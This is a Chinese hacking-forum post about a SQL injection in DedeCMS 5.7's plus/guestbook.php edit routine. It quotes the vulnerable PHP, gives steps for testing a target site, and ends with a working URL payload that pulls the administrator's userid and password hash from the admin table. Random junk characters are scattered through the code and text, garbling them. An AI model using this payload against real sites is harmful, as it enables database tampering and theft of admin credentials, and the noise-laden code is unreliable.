找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3844|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.77 K0 j/ Q2 L) u9 C3 N, q% |
9 H) g9 [6 m3 s9 B: G
漏洞文件edit.inc.php具体代码:
1 t! r4 z8 N' }7 M8 o" ?+ K  m: f$ g& ]' r
< ?php  $ m2 [0 d/ d. K  L. R

4 n8 R2 H5 P% p  |if(!defined('DEDEINC')) exit('Request Error!');  9 l0 o& M- x  u5 r1 l( b

0 N2 V- o' F9 {7 t, Y9 O& P" ]   5 [6 a: v! \! H, U" \  ]
) @. D1 \/ k" Z3 J1 q$ }
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  * i" M7 X" `; L7 j

2 ^& E( H0 C7 z, }else $GUEST_BOOK_POS = "guestbook.php";  
1 E: T) L( w1 X9 }2 y# x; k; b
1 K+ W9 t; l( m3 `   
6 j9 c- w- k( S, t" \8 n  t9 T* y2 g! ]( v1 |" a9 V
$id = intval($id);  5 u0 \  n' a+ t
1 k: L! r1 Q8 q' h
if(empty($job)) $job='view';  
% Y+ m) n$ w7 o- x4 k9 j( M0 ^7 i* o
   . b5 g" t$ x% @+ ^3 N
& F  o5 `8 g" H1 S9 i
if($job=='del' && $g_isadmin)  6 H3 j0 R6 B4 X0 d; n7 E) V  L0 T

5 I9 ]6 W! r$ [9 ^0 G! y- B# O1 N{  
, L$ N! F5 r7 t4 N# F/ q* X: m! r# A2 O( X/ x1 \
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
) V# k8 K$ N1 _! X: z7 u7 N. X! i8 [, Q- h0 A/ F& d- n7 J
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
, v5 s3 g' x! q5 Y* M. m, w9 A3 k& ?) t
exit();  
- `9 C) ?$ y+ [: @* }, |2 j+ q: O) E0 j; y/ n
}  
1 ?! d- z$ X% T
9 {: a0 s, W5 I0 zelse if($job=='check' && $g_isadmin)  
8 O6 [, o- i* w( A; `7 ]
4 h  a1 d( B+ M. e7 B{  9 B  G. ^  g" G/ `

/ h0 H* Z1 q2 |7 s9 ~3 w$ w$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  ) B3 e/ `* L/ d* t4 ?

/ n7 b1 w3 X+ z1 IShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
) x9 Q. n( m( T. K5 L0 g& U& f2 v
3 O2 J- |$ A4 x, i' ^% |exit();  ) V/ s: Q1 t  ~/ ]8 P% v! r' ~

; K: Q5 r  _5 r5 n}  
6 F$ B. ]1 o$ z* L
8 a& T; A9 B& L8 v( u: X9 Pelse if($job=='editok')  
" s# n6 s- N% L1 O
, f& C% l3 ?7 R/ e5 j{  
9 z0 {5 K2 v( n8 Y' y* t* q8 ^9 r) A
/ z) R8 X2 J% K4 ?/ D. x- S$remsg = trim($remsg);  & \  H8 a) ~) L

8 n6 h& \$ r7 t6 Oif($remsg!='')  
0 d2 f3 O/ ^" d; H. {/ x$ G7 T3 I8 S$ A8 Y
{  7 K& i1 q1 X' c3 I; F8 U& n

/ ~: p" t+ O; W% R8 l$ _//管理员回复不过滤HTML By:Errorera blog:errs.cc  + v5 P0 \% e4 p/ s& W
: V# c; i- C& D: O
if($g_isadmin)  
6 P6 S+ g, P- T; S1 K1 Y8 J# V+ q3 a3 g9 Y* \
{  & G2 _4 \' h; h5 {2 T! r2 }
: F' y8 Q6 w$ F9 E
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  0 G7 E* {5 X+ U- n6 }3 \9 C6 l
0 S0 {6 Z1 A, K$ N/ E
//$remsg <br /><font color=red>管理员回复:</font> }  
6 n5 y( S1 f( `0 Z& f! i3 H
) o5 L8 h4 ~3 b% u: velse
; q9 M5 ^: ]2 N% Y$ p
) D+ z1 ~. n4 ]' ^& {) \* E. M+ E{  
9 F5 e: I" R. |) X
# p7 T* r: @  Y$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
2 c4 J1 F% W  f' @, }5 w# c* s/ p
( k, J& N2 F  \1 |4 \$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  ' m) d$ f! P0 ], Y

1 ^# i. K9 _9 n% n; @+ J% e- Q$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
+ y( B1 i+ b  N3 v1 }2 @$ R5 l, `5 c) f4 H. d
$msg = $oldmsg.$remsg;  
; m$ O% ~' Q2 v# I6 C2 E" S7 v% ^: c1 x6 |0 X9 B) b
}  
' m1 J1 Z; Z" {* c2 w2 l3 g. Y  a; N6 n3 @" C; F$ V
}  ) T  P" Z4 a7 t1 n4 o, X' Z. ?
/ B  G2 ^8 x. J/ L6 Q
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
# w7 a+ Q' \. s0 s, P9 W" l& |7 l. {
5 [5 h/ s# t/ r% E& k4 z2 \- m$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  5 F5 H" `# v: b6 H$ Y2 u* P+ r) m

. |) H1 [8 w& x- y* PShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
& d' J$ V0 k5 _& {$ G2 k
" _$ e, h# x6 y7 Z5 [exit();  ; O. \0 R% D" }# Q6 d+ n

, A; D9 x* i* x! I+ }}  
  Z2 B" N/ b* I5 o* `  }8 E9 \  m- r* Q- M3 E) D
//home:www.errs.cc  
( ~  L% {! Y/ `. }% _% F: M  X
if($g_isadmin)  
! Y  m1 x0 N$ c8 ~5 x
  S9 `9 v( }' {& C{  
% m% H; Q* m' V  j5 a& ~
; [. n) g) j, Y$ K+ u, X- b$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
! W6 I" ^1 Q( f  a8 j
8 X& \0 c; _7 ^' a9 drequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  # z( o/ K6 |- e5 L/ B
- F( N. s2 o+ u: f( R* T$ \: B
}  ( o, s" R7 Y" F5 ~% t. B0 v

' Q& D' |1 @' D  W* Kelse ) q; n$ j) g% t0 l- [9 y% G

' d. s0 L1 W1 g2 l{    x6 @$ `5 ~8 Y4 n( `  p5 a
& a. B5 V+ R6 f/ t4 B
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  ! @: j3 H( u/ a8 _; V( O9 G

$ t$ j* R: m  G3 R6 N. A. l' Orequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
& M: V1 R$ Q9 X" q9 W$ a3 O$ F8 \
} 漏洞成功需要条件:/ P+ _( Y. D) K+ x! p* M3 k. f
1. php magic_quotes_gpc=off7 ]' N& c/ \! ~3 {" ~% i
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。* E$ _& ^5 a- O
1 D# b) o+ x0 p2 _7 g" V
怎么判断是否存在漏洞:- l$ Q" n: o, b5 j( r8 _3 `
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
. T* G! o" c! E4 @然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
% f3 B. n8 y6 `' u( B" X访问:
9 T3 K( a7 J- s6 \. s% |- Y% ~
. _/ O3 p# h8 d; ^) twww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
; E) N! T- `7 l* j$ k跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证4 ?6 o3 K7 }( f( K  S$ g0 `. V

# R% `4 e0 M2 B5 M. m9 v. r
+ @. B* C' @, P明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
% C$ m# [6 d* ?& k% b3 f如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
# T, z6 a  q+ \5 s) n那么再次访问
8 X1 {! G; C& w& p) ~" K5 Z: g8 D% ~6 U( Y
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().# _' U" Z4 t9 ~. e3 j  J5 w

8 f0 U; U! [& x+ M大概利用就是这样,大家有兴趣的多研究下!!) H2 j3 e, q0 L' m2 N& t1 R' q
: K( u/ r, K3 q$ l/ D6 D
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
, n5 _2 e, j' q, W7 |% v/ L. v1 u& {
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表